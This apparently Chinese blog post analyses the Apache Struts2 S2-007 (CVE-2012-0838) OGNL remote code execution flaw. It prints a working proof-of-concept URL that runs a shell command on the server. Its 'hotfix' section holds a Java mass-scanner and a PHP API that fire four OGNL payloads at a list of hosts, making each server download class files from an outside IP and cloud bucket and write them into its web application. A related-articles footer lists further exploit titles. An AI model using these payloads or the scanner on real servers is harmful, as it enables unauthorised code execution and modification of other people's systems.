struts2 CVE-2012-0838 S2-007 Remote Code Execution && Hotfix
catalog
. Description
. Effected Scope
. Exploit Analysis
. Principle Of Vulnerability
. Patch Fix
1. Description
S2-007和S2-003、S2-005的漏洞源头都是一样的,都是struts2对OGNL的解析过程中存在漏洞,导致黑客可以通过OGNL表达式实现代码注入和执行,所不同的是
. S2-、S2-: 通过OGNL的name-value的赋值解析过程、#访问全局静态变量(AOP思想)实现代码执行
. S2-: 通过OGNL中String向long转换过程实现代码执行
//即它们的攻击向量是不同的
User input is evaluated as an OGNL expression when there's a conversion error. This allows a malicious user to execute arbitrary code.
关于struts2 OGNL的相关知识,请参阅另一篇文章
http://www.cnblogs.com/LittleHann/p/4614488.html
//搜索:5. struts2 OGNL表达式
Relevant Link:
http://struts.apache.org/docs/s2-007.html
http://cve.scap.org.cn/CVE-2012-0838.html
2. Effected Scope
Struts 2.0. - Struts 2.2.
3. Exploit Analysis
0x1: POC
http://localhost:8080/S2-XX/Login.action?id='%2b(%23_memberAccess.allowStaticMethodAccess=true,%23context["xwork.MethodAccessor.denyMethodExecution"]=false,%23cmd="ifconfig",%23ret=@java.lang.Runtime@getRuntime().exec(%23cmd),%23data=new+java.io.DataInputStream(%23ret.getInputStream()),%23res=new+byte[500],%23data.readFully(%23res),%23echo=new+java.lang.String(%23res),%23out=@org.apache.struts2.ServletActionContext@getResponse(),%23out.getWriter().println(%23echo))%2b'
4. Principle Of Vulnerability
Apache Struts 2.2.3.1之前的2版本中存在漏洞,该漏洞源于在处理转换错误时评估字符串为OGNL表达式。远程攻击者可利用此漏洞借助无效的输入,修改run-time数据值,进而执行任意代码
5. Patch Fix
0x1: upgrade struts2
It is strongly recommended to upgrade to Struts 2.3.1.1, which contains the corrected classes.
0x2: Hotfix
import java.io.BufferedReader;
import java.io.File;
import java.io.FileReader; public class StrutsFix { private static final String pay1="redirect:${%23req%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),%23pf%3dnew%20java.io.File(%23req.getRealPath(\"/\")%2b\"/WEB-INF/classes/org/apache/struts2/util/\"),%23pf.mkdirs(),%23f%3dnew%20java.io.File(%23pf.getAbsolutePath()%2b\"/PrefixTrie.class\"),%23url%3dnew%20java.net.URL(\"http://120.24.67.63:8080/PrefixTrie\"),%23conn%3d%23url.openConnection(),%23conn.connect(),%23is%3d%23conn.getInputStream(),%23os%3dnew%20java.io.FileOutputStream(%23f),%23len%3d%23is.available(),%23b%3dnew%20byte[%23len],%23is.read(%23b),%23os.write(%23b,%200,%20%23len),%23os.flush(),%23is.close(),%23conn.disconnect(),%23f%3dnew%20java.io.File(%23pf.getAbsolutePath()%2b\"/PrefixTrie$Node.class\"),%23url%3dnew%20java.net.URL(\"http://120.24.67.63:8080/PrefixTrie$Node\"),%23conn%3d%23url.openConnection(),%23conn.connect(),%23is%3d%23conn.getInputStream(),%23os%3dnew%20java.io.FileOutputStream(%23f),%23len%3d%23is.available(),%23b%3dnew%20byte[%23len],%23is.read(%23b),%23os.write(%23b,%200,%20%23len),%23os.flush(),%23is.close(),%23conn.disconnect()}";
private static final String pay2="redirect:${%23ioc%3d%23context.get('com.opensymphony.xwork2.ActionContext.container'),%23dam%3dnew%20org.apache.struts2.dispatcher.mapper.DefaultActionMapper().getClass().getInterfaces()[0],%23dam%3d%23ioc.getInstance(%23dam),%23field%3d(%23dam.getClass().toString().equals(\"class%20org.apache.struts2.dispatcher.mapper.DefaultActionMapper\")?%23dam.getClass().getDeclaredField(\"prefixTrie\"):%23dam.getClass().getSuperclass().getDeclaredField(\"prefixTrie\")),%23field.setAccessible(true),%23ptree%3d%23field.get(%23dam),%23ptree.put(\"redirect:\",null),%23ptree.put(\"redirectAction:\",null),'ITSOK'}";
private static final String pay3="debug=command&expression=%23req%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),%23pf%3dnew%20java.io.File(%23req.getRealPath(\"/\")%2b\"/WEB-INF/classes/org/apache/struts2/interceptor/debugging\"),%23pf.mkdirs(),%23f%3dnew%20java.io.File(%23pf.getAbsolutePath()%2b\"/DebuggingInterceptor.class\"),%23url%3dnew%20java.net.URL(\"http://120.24.67.63:8080/DebuggingInterceptor\"),%23conn%3d%23url.openConnection(),%23conn.connect(),%23is%3d%23conn.getInputStream(),%23os%3dnew%20java.io.FileOutputStream(%23f),%23len%3d%23is.available(),%23b%3dnew%20byte[%23len],%23is.read(%23b),%23os.write(%23b,%200,%20%23len),%23os.flush(),%23is.close(),%23conn.disconnect(),'ITSOK'";
private static final String pay4="debug=command&expression=%23dai%3d%23context.get('com.opensymphony.xwork2.ActionContext.actionInvocation'),%23interceptors%3d%23dai.getProxy().getConfig().getInterceptors(),%23interceptor%3d%23interceptors.{?%20%23this.getInterceptor()%20instanceof%20org.apache.struts2.interceptor.debugging.DebuggingInterceptor},%23interceptor.{?%20%23this.getInterceptor().setDevMode(\"false\")}"; public static void main(String[] args) throws Exception{ if (args==null || args.length==){
args = new String[]{"/Users/arno/ip2.txt"};
} File f = new File(args[]);
BufferedReader bf =new BufferedReader(new FileReader(f)); String line = bf.readLine();
int urlCont=; while ( line !=null) { urlCont++; if (urlCont % == ){
Thread.currentThread().sleep();
} if (urlCont % == ){
Thread.currentThread().sleep();
} new Thread(new Runnable() { @Override
public void run() { String url = Thread.currentThread().getName();
System.out.println("");
System.out.print(url); if (url!=null){
url=url.trim();
}
if ( ! url.toLowerCase().startsWith("http://")){
url ="http://"+url;
} if ( url.indexOf("?")<){
url =url+"?";
} try{
java.net.URL urlfile = new java.net.URL(url+"&"+pay1);
java.net.HttpURLConnection connection = (java.net.HttpURLConnection)urlfile.openConnection();
connection.addRequestProperty("Connection", "close");
connection.setConnectTimeout();
connection.setReadTimeout();
connection.connect();
System.out.print(connection.getResponseCode());
connection.disconnect();
connection=null;
urlfile=null;
}catch (Exception e){
System.out.print("SendRedirectError:"+ e.getLocalizedMessage() );
} try{
java.net.URL urlfile = new java.net.URL(url+"&"+pay2);
java.net.HttpURLConnection connection = (java.net.HttpURLConnection)urlfile.openConnection();
connection.addRequestProperty("Connection", "close");
connection.setConnectTimeout();
connection.setReadTimeout();
connection.connect();
System.out.print(connection.getResponseCode());
connection.disconnect();
connection=null;
urlfile=null;
}catch (Exception e){
System.out.print("SendRedirectError:"+ e.getLocalizedMessage() );
} try{
java.net.URL urlfile = new java.net.URL(url+"&"+pay3);
java.net.HttpURLConnection connection = (java.net.HttpURLConnection)urlfile.openConnection();
connection.addRequestProperty("Connection", "close");
connection.setConnectTimeout();
connection.setReadTimeout();
connection.connect();
System.out.print(connection.getResponseCode());
connection.disconnect();
connection=null;
urlfile=null;
}catch (Exception e){
System.out.print("SendDebugError:"+ e.getLocalizedMessage() );
} try{
java.net.URL urlfile = new java.net.URL(url+"&"+pay4);
java.net.HttpURLConnection connection = (java.net.HttpURLConnection)urlfile.openConnection();
connection.addRequestProperty("Connection", "close");
connection.setConnectTimeout();
connection.setReadTimeout();
connection.connect();
System.out.print(connection.getResponseCode());
connection.disconnect();
connection=null;
urlfile=null;
}catch (Exception e){
System.out.print("SendDebugError:"+ e.getLocalizedMessage() );
} }
}, line).start(); line = bf.readLine();
} } }
0x3: PHP API
else if ($vultype == "")
{
$pay1 = 'redirect:${%23req%3d%23context.get("com.opensymphony.xwork2.dispatcher.HttpServletRequest"),%23pf%3dnew%20java.io.File(%23req.getRealPath("/")%2b"/WEB-INF/classes/org/apache/struts2/util/"),%23pf.mkdirs(),%23f%3dnew%20java.io.File(%23pf.getAbsolutePath()%2b"/PrefixTrie.class"),%23url%3dnew%20java.net.URL("http://struts2fix.oss-cn-hangzhou.aliyuncs.com/PrefixTrie"),%23conn%3d%23url.openConnection(),%23conn.connect(),%23is%3d%23conn.getInputStream(),%23os%3dnew%20java.io.FileOutputStream(%23f),%23len%3d%23is.available(),%23b%3dnew%20byte[%23len],%23is.read(%23b),%23os.write(%23b,%200,%20%23len),%23os.flush(),%23is.close(),%23conn.disconnect(),%23f%3dnew%20java.io.File(%23pf.getAbsolutePath()%2b"/PrefixTrie$Node.class"),%23url%3dnew%20java.net.URL("http://struts2fix.oss-cn-hangzhou.aliyuncs.com/PrefixTrie$Node"),%23conn%3d%23url.openConnection(),%23conn.connect(),%23is%3d%23conn.getInputStream(),%23os%3dnew%20java.io.FileOutputStream(%23f),%23len%3d%23is.available(),%23b%3dnew%20byte[%23len],%23is.read(%23b),%23os.write(%23b,%200,%20%23len),%23os.flush(),%23is.close(),%23conn.disconnect()}'; $pay2 = 'redirect:${#ioc%3d#context.get(\'com.opensymphony.xwork2.ActionContext.container\'),#dam%3dnew org.apache.struts2.dispatcher.mapper.DefaultActionMapper().getClass().getInterfaces()[0],#dam%3d#ioc.getInstance(#dam),#field%3d(#dam.getClass().toString().equals("class%20org.apache.struts2.dispatcher.mapper.DefaultActionMapper")?#dam.getClass().getDeclaredField("prefixTrie"):#dam.getClass().getSuperclass().getDeclaredField("prefixTrie")),#field.setAccessible(true),#ptree%3d#field.get(#dam),#ptree.put("redirect:",null),#ptree.put("redirectAction:",null),#dai%3d#context.get(\'com.opensymphony.xwork2.ActionContext.actionInvocation\'),#field%3d#dai.getClass().getDeclaredField(\'interceptors\'),#field.setAccessible(true),#interceptors%3d#field.get(#dai),#interceptor%3d#interceptors.{? #this.getInterceptor() instanceof com.opensymphony.xwork2.interceptor.ParametersInterceptor},#interceptor.{? #this.getInterceptor().setExcludeParams("(.*\\\\.|^|.*|\\\\[(\'|\\"))class(\\.|(\'|\\")]|\\\\[).*,^dojo\\\\..*,^struts\\\\..*,^session\\\\..*,^request\\\\..*,^application\\\\..*,^servlet(Request|Response)\\\\..*,^parameters\\\\..*,^action:.*,^method:.*")},\'ITSOK\'}'; $pay3 = 'debug=command&expression=%23req%3d%23context.get(\'com.opensymphony.xwork2.dispatcher.HttpServletRequest\'),%23pf%3dnew%20java.io.File(%23req.getRealPath("/")%2b"/WEB-INF/classes/org/apache/struts2/interceptor/debugging"),%23pf.mkdirs(),%23f%3dnew%20java.io.File(%23pf.getAbsolutePath()%2b"/DebuggingInterceptor.class"),%23url%3dnew%20java.net.URL("http://struts2fix.oss-cn-hangzhou.aliyuncs.com/DebuggingInterceptor"),%23conn%3d%23url.openConnection(),%23conn.connect(),%23is%3d%23conn.getInputStream(),%23os%3dnew%20java.io.FileOutputStream(%23f),%23len%3d%23is.available(),%23b%3dnew%20byte[%23len],%23is.read(%23b),%23os.write(%23b,%200,%20%23len),%23os.flush(),%23is.close(),%23conn.disconnect(),\'ITSOK\''; $pay4 = 'debug=command&expression=%23dai%3d%23context.get(\'com.opensymphony.xwork2.ActionContext.actionInvocation\'),%23interceptors%3d%23dai.getProxy().getConfig().getInterceptors(),%23interceptor%3d%23interceptors.{?%20%23this.getInterceptor()%20instanceof%20org.apache.struts2.interceptor.debugging.DebuggingInterceptor},%23interceptor.{?%20%23this.getInterceptor().setDevMode("false")},#interceptor%3d#interceptors.{? #this.getInterceptor() instanceof com.opensymphony.xwork2.interceptor.ParametersInterceptor},#interceptor.{? #this.getInterceptor().setExcludeParams("(.*\\\\.|^|.*|\\\\[(\'|\\"))class(\\\\.|(\'|\\")]|\\\\[).*,^dojo\\\\..*,^struts\\\\..*,^session\\\\..*,^request\\\\..*,^application\\\\..*,^servlet(Request|Response)\\\\..*,^parameters\\\\..*,^action:.*,^method:.*")}'; //存在struts2漏洞的url: http://target:8080/struts2-blank/example/HelloWorld.action
$url = $_GET['url'];
if (empty($url))
{
die('{"return_code":0,"return_str":"struts2 url missing"}');
}
$url = urldecode($url);
if ( strpos($url, "http://") !== )
{
$url = "http://" . $url;
}
if ( strpos($url, "?") === false )
{
$url = $url . "?";
}
$url = substr($url, , strpos($url, "?") + ); $md5 = $url . $pay1;
$res = file_get_contents( $url . $pay1 );
sleep();
$md5 .= " " . $url . $pay2;
$res = file_get_contents( $url . $pay2 );
sleep();
$md5 .= " " . $url . $pay3;
$res = file_get_contents( $url . $pay3 );
sleep();
$md5 .= " " . $url . $pay4;
$res = file_get_contents( $url . $pay4 ); saveToScanDB($client_ip, $url, $md5, $t, $vultype, $platform); die('{"return_code":0,"return_str":"push success"}');
}
0x4: POC原理
. $pay1
redirect:${
#req=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletRequest"),
#pf=new java.io.File(#req.getRealPath("/")+"/WEB-INF/classes/org/apache/struts2/util/"),
#pf.mkdirs(),
#f=new java.io.File(#pf.getAbsolutePath()+"/PrefixTrie.class"),
#url=new java.net.URL("http://struts2fix.oss-cn-hangzhou.aliyuncs.com/PrefixTrie"),
#conn=#url.openConnection(),
#conn.connect(),
#is=#conn.getInputStream(),
#os=new java.io.FileOutputStream(#f),
#len=#is.available(),
#b=new byte[#len],
#is.read(#b),
#os.write(#b, , #len),
#os.flush(),
#is.close(),
#conn.disconnect(),
#f=new java.io.File(#pf.getAbsolutePath()+"/PrefixTrie$Node.class"),
#url=new java.net.URL("http://struts2fix.oss-cn-hangzhou.aliyuncs.com/PrefixTrie$Node"),
#conn=#url.openConnection(),
#conn.connect(),
#is=#conn.getInputStream(),
#os=new java.io.FileOutputStream(#f),
#len=#is.available(),
#b=new byte[#len],
#is.read(#b),
#os.write(#b, , #len),
#os.flush(),
#is.close(),
#conn.disconnect()
}
//下载用于修复跳转OGNL指令的前置过滤器类 . $pay2
redirect:${
#ioc=#context.get(\'com.opensymphony.xwork2.ActionContext.container\'),
#dam=new org.apache.struts2.dispatcher.mapper.DefaultActionMapper().getClass().getInterfaces()[],
#dam=#ioc.getInstance(#dam),
#field=(#dam.getClass().toString().equals("class org.apache.struts2.dispatcher.mapper.DefaultActionMapper")?#dam.getClass().getDeclaredField("prefixTrie"):#dam.getClass().getSuperclass().getDeclaredField("prefixTrie")),
#field.setAccessible(true),
#ptree=#field.get(#dam),
#ptree.put("redirect:",null),
#ptree.put("redirectAction:",null),
#dai=#context.get(\'com.opensymphony.xwork2.ActionContext.actionInvocation\'),
#field=#dai.getClass().getDeclaredField(\'interceptors\'),
#field.setAccessible(true),
#interceptors=#field.get(#dai),
#interceptor=#interceptors.{? #this.getInterceptor() instanceof com.opensymphony.xwork2.interceptor.ParametersInterceptor},#interceptor.{? #this.getInterceptor().setExcludeParams("(.*\\\\.|^|.*|\\\\[(\'|\\"))class(\\.|(\'|\\")]|\\\\[).*,^dojo\\\\..*,^struts\\\\..*,^session\\\\..*,^request\\\\..*,^application\\\\..*,^servlet(Request|Response)\\\\..*,^parameters\\\\..*,^action:.*,^method:.*")},
\'ITSOK\'
}
//加载前置过滤器类,动态关闭redirect、redirectAction开关,并设置URL禁用模式,阻断攻击数据包 . $pay3
debug=command&
expression=#req=#context.get(\'com.opensymphony.xwork2.dispatcher.HttpServletRequest\'),
#pf=new java.io.File(#req.getRealPath("/")+"/WEB-INF/classes/org/apache/struts2/interceptor/debugging"),
#pf.mkdirs(),
#f=new java.io.File(#pf.getAbsolutePath()+"/DebuggingInterceptor.class"),
#url=new java.net.URL("http://struts2fix.oss-cn-hangzhou.aliyuncs.com/DebuggingInterceptor"),
#conn=#url.openConnection(),
#conn.connect(),
#is=#conn.getInputStream(),
#os=new java.io.FileOutputStream(#f),
#len=#is.available(),
#b=new byte[#len],
#is.read(#b),
#os.write(#b, , #len),
#os.flush(),
#is.close(),
#conn.disconnect(),\'ITSOK\'
//下载用于修复DEBUG命令执行漏洞的过滤器类 . $pay4
debug=command&
expression=#dai=#context.get(\'com.opensymphony.xwork2.ActionContext.actionInvocation\'),
#interceptors=#dai.getProxy().getConfig().getInterceptors(),
#interceptor=#interceptors.{? #this.getInterceptor() instanceof org.apache.struts2.interceptor.debugging.DebuggingInterceptor},
#interceptor.{? #this.getInterceptor().setDevMode("false")},
#interceptor=#interceptors.{? #this.getInterceptor() instanceof com.opensymphony.xwork2.interceptor.ParametersInterceptor},#interceptor.{? #this.getInterceptor().setExcludeParams("(.*\\\\.|^|.*|\\\\[(\'|\\"))class(\\\\.|(\'|\\")]|\\\\[).*,^dojo\\\\..*,^struts\\\\..*,^session\\\\..*,^request\\\\..*,^application\\\\..*,^servlet(Request|Response)\\\\..*,^parameters\\\\..*,^action:.*,^method:.*")}
//利用DEBUG命令执行漏洞,动态关闭DEBUG指令执行开关,并设置URL禁用模式,阻断攻击数据包
Relevant Link:
Copyright (c) 2015 Little5ann All rights reserved
struts2 CVE-2012-0838 S2-007 Remote Code Execution && Hotfix的更多相关文章
- [我的CVE][CVE-2017-15708]Apache Synapse Remote Code Execution Vulnerability
漏洞编号:CNVD-2017-36700 漏洞编号:CVE-2017-15708 漏洞分析:https://www.javasec.cn/index.php/archives/117/ [Apache ...
- CVE-2014-6321 && MS14-066 Microsoft Schannel Remote Code Execution Vulnerability Analysis
目录 . 漏洞的起因 . 漏洞原理分析 . 漏洞的影响范围 . 漏洞的利用场景 . 漏洞的POC.测试方法 . 漏洞的修复Patch情况 . 如何避免此类漏洞继续出现 1. 漏洞的起因 这次的CVE和 ...
- [EXP]Microsoft Windows MSHTML Engine - "Edit" Remote Code Execution
# Exploit Title: Microsoft Windows (CVE-2019-0541) MSHTML Engine "Edit" Remote Code Execut ...
- [EXP]Apache Superset < 0.23 - Remote Code Execution
# Exploit Title: Apache Superset < 0.23 - Remote Code Execution # Date: 2018-05-17 # Exploit Auth ...
- [EXP]ThinkPHP 5.0.23/5.1.31 - Remote Code Execution
# Exploit Title: ThinkPHP .x < v5.0.23,v5.1.31 Remote Code Execution # Date: -- # Exploit Author: ...
- MyBB \inc\class_core.php <= 1.8.2 unset_globals() Function Bypass and Remote Code Execution(Reverse Shell Exploit) Vulnerability
catalogue . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 MyBB's unset_globals() function ca ...
- Insecure default in Elasticsearch enables remote code execution
Elasticsearch has a flaw in its default configuration which makes it possible for any webpage to exe ...
- Roundcube 1.2.2 - Remote Code Execution
本文简要记述一下Roundcube 1.2.2远程代码执行漏洞的复现过程. 漏洞利用条件 Roundcube必须配置成使用PHP的mail()函数(如果没有指定SMTP,则是默认开启) PHP的mai ...
- Home Web Server 1.9.1 build 164 - CGI Remote Code Execution复现
一. Home Web Server 1.9.1 build 164 - CGI Remote Code Execution复现 漏洞描述: Home Web Server允许调用CGI程序来通过P ...
随机推荐
- Linux 网络编程详解十一
/** * read_timeout - 读超时检测函数,不含读操作 * @fd:文件描述符 * @wait_seconds:等待超时秒数,如果为0表示不检测超时 * 成功返回0,失败返回-1,超时返 ...
- Linux shell运算符
双引号 --使用双引号可以引用除了字符$,`(单反号),\(反斜杠)外的任意字符或者字符串 --echo "参数的个数是$#" 单引号 --单引号与双引号类似,不同的是shell会 ...
- SQL Server存储过程中使用表值作为输入参数示例
这篇文章主要介绍了SQL Server存储过程中使用表值作为输入参数示例,使用表值参数,可以不必创建临时表或许多参数,即可向 Transact-SQL 语句或例程(如存储过程或函数)发送多行数据,这样 ...
- Redirect和Dispatcher 区别
使用forward是服务跳转,浏览器不知道它所请求的具体资源来源,浏览器的地址栏不会变:使用redirect,服务端根据逻辑,发送一个状态码,告诉浏览器重新去请求那个地址.所以地址栏显示的是新的URL ...
- Theano2.1.13-基础知识之PyCUDA、CUDAMat、Gnumpy的兼容
来自:http://deeplearning.net/software/theano/tutorial/gpu_data_convert.html PyCUDA/CUDAMat/Gnumpy comp ...
- 理解IEnumerator+IEnumerable这种接口思想
前言 本文不想过多篇幅来介绍IEnumerator和IEnumerable这两个接口的具体说明,只是把它作一个例子作引言而已,本文将根据自己的理解来描述微软为何要这样设计这种关联风格的接口.这种风格的 ...
- Windows8.1画热度图 - 坑
想要的效果 如上是silverlight版本.原理是设定一个调色板,为256的渐变色(存在一个png文件中,宽度为256,高度为1),然后针对要处理的距离矩阵图形,取图片中每个像素的Alpha值作为索 ...
- 网站flash黑屏问题
操作系统 专业回答 2012-04-12 20:44 看网站视频时,可以小屏看,不能最大化.最大化的时候,只有声音,图象卡住了不动. 解决办法: 1 打开视频 然后最大化 按键 击右健 设置 把加速硬 ...
- [Ajax系列]Ajax介绍
Ajax简介: Ajax是一种在无需重新加载整个网页的情况下,能够更新部分网页的技术. What ? AJAX=异步JavaScript和XML AJAX是一种用于创建快读动态网页的技术 通过在后台语 ...
- 35-less 简明笔记
分屏显示文本文件 less [options] [file-list] less与more类似,但比more更加完善 例如:在显示一屏文本之后,less将显示提示副等待下一条命令的输入;可以向前或向后 ...